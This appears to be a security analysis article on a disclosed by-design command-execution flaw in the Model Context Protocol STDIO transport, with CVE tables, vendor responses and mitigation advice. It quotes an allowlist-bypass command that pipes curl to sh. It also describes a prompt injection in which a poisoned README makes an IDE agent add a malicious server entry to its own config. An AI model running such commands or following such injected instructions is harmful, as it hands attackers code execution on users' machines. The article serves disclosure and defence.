OX Security disclosed a systemic, by-design flaw in Anthropic's Model Context Protocol: passing a configuration string to the STDIO transport is passing a shell command. Anthropic's response was one word — expected.
command string you pass it gets handed straight to the OS. There is no sanitization layer between configuration and subprocess.spawn.On April 15, 2026, OX Security Research published what they called "the mother of all AI supply chains" — a class of vulnerability baked into the reference implementation of the Model Context Protocol across every supported language. It is not a coding bug. It is the STDIO transport working exactly as specified.
The mechanics are brutally simple. When an MCP client spins up a local STDIO server, it accepts a command string and hands it straight to the operating system. If the command successfully spins up an STDIO server, you get a protocol handle. If it fails, you get an error — and the command still runs. Sanitization, allowlisting, warning signals: none of it is part of the protocol. The vulnerability is that the configuration format is the execution format.
OX confirmed live command execution on six production platforms — including LiteLLM, LangChain, and IBM's LangFlow. They also seeded a benign payload into 9 of 11 MCP marketplaces to prove malicious distribution trivially works. 150M+ SDK downloads; 7,000+ publicly exposed servers; up to 200K total vulnerable instances.
Anthropic was contacted on January 7, 2026. Their response, repeated across multiple rounds: the behavior is "expected," their execution model is a "secure standard," and hardening is the implementer's job. No protocol-level patch. No deprecation path. They did not object to public disclosure.
The failure mode is counterintuitive: the error path is the attack path. Walk the flow node by node — each click reveals what happens at that step and why error-handling doesn't save you.
from mcp.client.stdio import stdio_client, StdioServerParameters # Every field below flows directly to subprocess execution. # User-controlled input here == remote command execution. params = StdioServerParameters( command="npx", # ← attacker-controlled in many deployments args=["-y", "some-mcp-server", "--flag"], env={"SECRET": "..."}, ) async with stdio_client(params) as (read, write): ...
The shape is identical in every SDK. TypeScript's StdioClientTransport, Java's StdioServerTransport, Rust's TokioChildProcess — all wrap an OS-level spawn of a caller-supplied command. Any component upstream that lets a model, a UI form, or a config file populate that string is an RCE primitive.
The same underlying pattern manifests in four distinct exploitation classes, each targeting a different layer of the stack. What makes this a supply chain event rather than a single CVE is that none of these vendors wrote the bug — they inherited the default.
Web dashboards in Agent Zero, Langchain-Chatchat, Jaaz, and others accept an MCP config via an unauthenticated form. The command string is saved, executed on first connect, and runs under the framework's identity.
Platforms that attempted a defense — e.g. Flowise's allowlist of npx/uvx — get bypassed with hostile arguments. npx -c "curl … | sh" is still npx. The allowlist guards the binary name; argv is unrestricted.
In AI IDEs (Windsurf, Cursor), the agent can write to its own mcp.json. A poisoned README, web page, or file opened in the editor injects a prompt that tells the agent to append a malicious STDIO entry. Next reload → local RCE.
OX submitted a benign proof-of-concept to 11 public MCP registries; 9 accepted it. MCP servers ship as text blobs carrying a command — closer to an install script than a package. No sandbox, no capability model, no signature baseline.
Below is an interactive version of the disclosure timeline. Three horizontal swim lanes: the Root Layer (Anthropic itself), the Transport Layer (frameworks like LangChain, LiteLLM, FastMCP), and the Application Layer (end tools like Cursor, Windsurf, DocsGPT). Filter a layer to isolate it — the pattern across the stack is the whole story.
SECURITY.md
Several weeks of individual "by design" responses at the root and transport layers, then a coordinated March 17 CVE burst at the application layer. The protocol owner did not move. The downstream projects — each absorbing the risk individually — had to.
Filter by status to see which projects moved and which are still sitting on a reported advisory. Every row traces back to the same STDIO pattern.
| CVE | Project | Vector | Severity | Status |
|---|---|---|---|---|
| CVE-2025-65720 | GPT Researcher | UI injection / reverse shell | Critical | Reported |
| CVE-2026-30623 | LiteLLM | Authenticated RCE via JSON config | Critical | Patched |
| CVE-2026-30624 | Agent Zero | Unauthenticated UI injection | Critical | Reported |
| CVE-2026-30618 | Fay Framework | Unauthenticated Web-GUI RCE | Critical | Reported |
| CVE-2026-33224 | Bisheng | Authenticated UI injection (open registration) | Critical | Patched |
| CVE-2026-30617 | Langchain-Chatchat | Unauthenticated UI injection | Critical | Reported |
| CVE-2026-33224 | Jaaz | Unauthenticated UI injection | Critical | Reported |
| CVE-2026-30625 | Upsonic | Allowlist bypass via npx/npm args | High | Warning |
| CVE-2026-30615 | Windsurf | Zero-click prompt injection → local RCE | Critical | Reported |
| CVE-2026-26015 | DocsGPT | MITM transport-type substitution | Critical | Patched |
| CVE-2026-40933 | Flowise | Allowlist bypass / argv injection | Critical | Reported |
The same root cause has been filed independently many times: CVE-2025-49596 (MCP Inspector), CVE-2026-22252 (LibreChat), CVE-2026-22688 (WeKnora), CVE-2025-54994 (@akoskm/create-mcp-server-stdio), CVE-2025-54136 (Cursor). Each landed on a different vendor's queue — because at the protocol level, nobody owns it.
Anthropic's position is defensible on narrow technical grounds: STDIO MCP is a local transport, and a local transport that runs a binary you passed it is, in one sense, doing what it says on the tin. The problem is what happens when that transport's configuration format becomes reachable by untrusted inputs — model outputs, web UIs, marketplace payloads, repo files an IDE agent reads.
Every one of the four attack families above is a variation on the same theme: something upstream of StdioServerParameters got closer to untrusted than the protocol assumed. Shifting that boundary is exactly what a "secure by default" transport would do — command as an opaque executable reference, args as an allowlisted whitelist, a capability manifest shipped with each server. None of that exists.
The disclosure landed days after Anthropic unveiled Claude Mythos, pitched as a tool to help secure the world's software. OX's framing is hard to miss: apply that same commitment to the protocol you own.
Because the vulnerability is architectural, there is no patch you can pull. Defense is about shrinking the distance between untrusted input and StdioServerParameters, and limiting blast radius when that boundary fails.
Never let user input — including model output — flow into command or args. Use a fixed, pre-configured set of allowed MCP servers, stored outside any directory the agent can write.
Run each MCP process in a container with its own filesystem, no host keys, no cloud creds, no shell access. Docker MCP Toolkit and user-namespace isolation are both viable baselines.
LLM gateways and research tools with API keys and DB credentials should never have a public IP. The 7K publicly accessible MCP servers OX found are the low-hanging targets.
Pin to the official GitHub MCP Registry or a curated internal mirror. 9 of 11 public registries accepted a malicious payload — the long tail is untrusted by default.
Treat MCP tool calls the way you'd treat exec(). Log command, args, env snapshot, and destination IPs. Alert on unexpected outbound traffic — exfiltration shows up there first.
LiteLLM, Bisheng, DocsGPT, Flowise, Upsonic have fixes. Upgrade everywhere (including CI runners and images). For unpatched vendors, disable the MCP integration or firewall the input path.
StdioServerParameters, StdioClientTransport, or equivalents — flag any path where external input reaches command.mcp.json permissions so the agent can't write its own MCP config (mitigates zero-click prompt injection in IDEs).command/args.You cannot wait for the protocol to change. Assume every STDIO MCP entry on a machine is a potential exec surface, isolate those machines accordingly, and treat any UI or agent that can write MCP configuration as a privileged tool. The goal is containment, not prevention — with an architectural vulnerability, prevention is out of your hands.
Individual CVEs are footguns. A hundred CVEs tracing back to one line in one reference SDK is a policy choice. Anthropic's position — that implementers are responsible for the consequences of the default they inherit — is structurally similar to how every other insecure-by-default protocol in history was defended, right up until it wasn't.
MCP is the emergent standard for how AI agents communicate. Every company shipping an agent is, today, shipping on top of this default. The question is no longer whether the STDIO transport is dangerous — OX's ten CVEs settle that. The question is whether the protocol maintainers treat safe defaults as their job or as somebody else's. Until then, the ecosystem pays interest on a bug it did not write.